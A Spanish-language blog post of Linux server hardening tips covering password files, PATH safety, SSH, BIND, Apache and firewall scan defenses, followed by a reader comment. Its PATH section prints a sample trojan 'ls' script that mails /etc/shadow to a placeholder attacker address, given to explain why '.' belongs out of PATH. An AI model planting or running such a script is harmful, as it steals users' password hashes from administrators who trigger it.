Consejos de seguridad para tu Linux (Servidor) (Parte 1)

Hace mucho tiempo no publico nada en el blog y me gustaría compartirles algunos consejos extraídos de un libro que, (Entre otros). Encontré en la Universidad y acabo de leer y aunque sinceramente esta un poco obsoleto y las técnicas mostradas son muy poco probables que funcionen dada la evolución del sistema, de igual manera son aspectos interesantes que se pueden mostrar.9788448140502

Quiero aclarar que son consejos orientados a un sistema Linux que sea usado como servidor, a mediana o quizá grande escala dado que a nivel de usuario de escritorio, aunque pueden aplicarse, no serian muy útiles.

También advierto que son simples consejos rápidos y no entraré mucho en el detalle, aunque tengo pensado hacer otro post mucho mas especifico y extenso sobre un tema en particular. Pero eso lo veré después. Comencemos.

Políticas de contraseña. 

Aunque suene a frase de cajón, tener una buena política de contraseñas hace la diferencia entre un sistema vulnerable o no. Ataques como «fuerza bruta» se aprovechan de tener una mala contraseña para acceder a un sistema.  Los tips mas comunes son:

  • Combinar mayúsculas y minúsculas.
  • Usar caracteres especiales.
  • Números.
  • Mas de 6 dígitos (ojalá mas de 8).

Además de esto, tengamos en cuenta dos archivos esenciales.  /etc/passwd  y /etc/shadow.

Algo muy importante es que el archivo /etc/passwd. ademas de darnos el nombre del usuario, su uid, carpeta path, bash.. etc. en algunos casos también muestra la clave encriptada del usuario.

 Miremos su composición típica.

desdelinux:FXWUuZ.vwXttg:500:501::/home/usuario1:/bin/bash

usuario:clavecrypt:uid:gid:path::path:bash

El problema real aquí, es que este archivo en particular tiene permisos -rw-r–r– lo que significa que tiene permisos de lectura por cualquier usuario del sistema. y teniendo la clave encriptada no es muy difícil descifrar la real.

Por eso existe el archivo /etc/shadow. Este es el archivo donde se almacenan todas las claves de los usuarios, entre otras cosas.  Este archivo tiene los permisos necesarios para que ningún usuario pueda leerlo.

Para arreglar esto entonces, debemos ir al archivo /etc/passwd y cambiar la clave encriptada por una «x», esto hará que la clave solo sea guardada en nuestro archivo /etc/shadow.

desdelinux:x:500:501::/home/usuario1:/bin/bash

Problemas con el PATH y .bashrc y otros.

Cuando un usuario ejecuta una orden en su consola, la shell busca dicho comando en una lista de directorios contenida en la variable de entorno PATH.

Si escribes «echo $PATH» en la consola saldra algo como esto.

.:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:/home/carlos/bin

Cada una de esas carpetas es donde la shell buscara el comando escrito para ejecutarlo. El  «.» significa que la primera carpeta a buscar es la carpeta misma desde donde se ejecuta la orden.

Suponga usted que existe un usuario «carlos» y este usuario quiere «hacer maldades».  Este usuario podría dejar un archivo llamado «ls» en su carpeta principal,  y en este archivo ejecutar una orden como:

#!/bin/bash
cat /etc/shadow | mail hacker@mail.com
/bin/ls

Y si el usuario root por cosas del destino, intenta listar las carpetas dentro de la carpeta de carlos (como primero busca el comando en esa misma carpeta, sin darse cuenta estaría enviando el archivo con las contraseñas a este correo y luego se listaría las carpeta y no se daría cuenta hasta muy tarde.

Para evitar eso debemos eliminar el «.» de la variable PATH.

De esta misma manera se deben auditar archivos como  /.bashrc, /.bashrc_profile, ./.login  y revisar que no exista «.» en la variable PATH, y de hecho desde archivos como este, se pueden cambiar el destino de algún comando especifico.

Consejos con servicios:

SHH

  • Deshabilitar la versión 1 del protocolo ssh en el arcvhio sshd_config.
  • No permitir que el usuario root pueda loggearse por ssh.
  • Los archivos y carpetas ssh_host_key, ssh_host_dsa_key y ssh_host_rsa_key solo deben ser leídos por el usuario root.

BIND

  • Cambiar el mensaje de bienvenida en el archivo named.conf pata que no muestre el numero de versión
  • Limitar la transferencias de zonas, y solo habilitarla para los equipos que lo necesiten.

Apache

  • Evite que el servicio muestre su versión en el mensaje de bienvenida. Edite el fichero httpd.conf y añada o modifique las lineas:  

ServerSignature Off
ServerTokens Prod

  • Desactivar indexación automática
  • Configure apache para que no sirva archivos sensibles como .htacces, *.inc, *.jsp.. etc
  • Eliminar paginas de manual o ejemplo del servicio
  • Ejecutar apache en un entorno acotado «chroot»

Seguridad de Red.

Es indispensable cubrir todas las posibles entradas a su sistema desde la red externa, a continuación algunos consejos indispensables para evitar que intrusos escaneen y obtengan información de su red.

Bloquear trafico ICMP

Se debe configurar el firewall para que bloquee todo tipo de trafico y respuestas de eco entrantes y salientes tipo ICMP.  Con esto te evitas que, por ejemplo, un scanner que este buscando equipos vivos en un rango de ip te localice. 

Evitar escaneo de ping TCP.

Una forma de scanear tu sistema es el escaneo de ping TCP.  Suponga que en su servidor existe un servidor Apache en el puerto 80.  El intruso podria enviar una petición ACK a dicho puerto, con esto, si el sistema responde se dara hecho que el equipo esta vivo y escaneará el resto de puertos.

Para esto su firewall deberia tener siempre la opción «conocimiento de estado» y debería descartar todos los paquetes ACK que no correspondan a una conexión o sesión TCP ya establecida.

Algunos consejos adicionales:

  • Use sistemas IDS para detectar escaneos de puertos a su red.
  • Configurar Firewall para que no confié en los valores de puerto de origen de la conexión.

Esto es dado que algunos scaneos utilizan un puerto «falso» origen tal como el 20 o 53, dado que muchos sistemas confian en estos puertos por ser los tipicos de un ftp o un DNS.

NOTA: Recuerde que la mayoria de problemas indicados en este post ya han sido solucionados en la casi todas las distribuciones actuales. Pero nunca esta de mas tener información clave de estos inconvenientes para que no te pasen.

NOTA: Posteriormente veré algún tema en especifico y haré un post con mucha mas información detallada y mas actual.

Gracias a todos por leer.

Saludos.


Un comentario, deja el tuyo

Deja tu comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*

*

  1. Responsable de los datos: Miguel Ángel Gatón
  2. Finalidad de los datos: Controlar el SPAM, gestión de comentarios.
  3. Legitimación: Tu consentimiento
  4. Comunicación de los datos: No se comunicarán los datos a terceros salvo por obligación legal.
  5. Almacenamiento de los datos: Base de datos alojada en Occentus Networks (UE)
  6. Derechos: En cualquier momento puedes limitar, recuperar y borrar tu información.

  1.   informatico dijo

    Me ha gustado mucho el articulo y estoy interesado en el tema, te animo a seguir subiendo contenidos.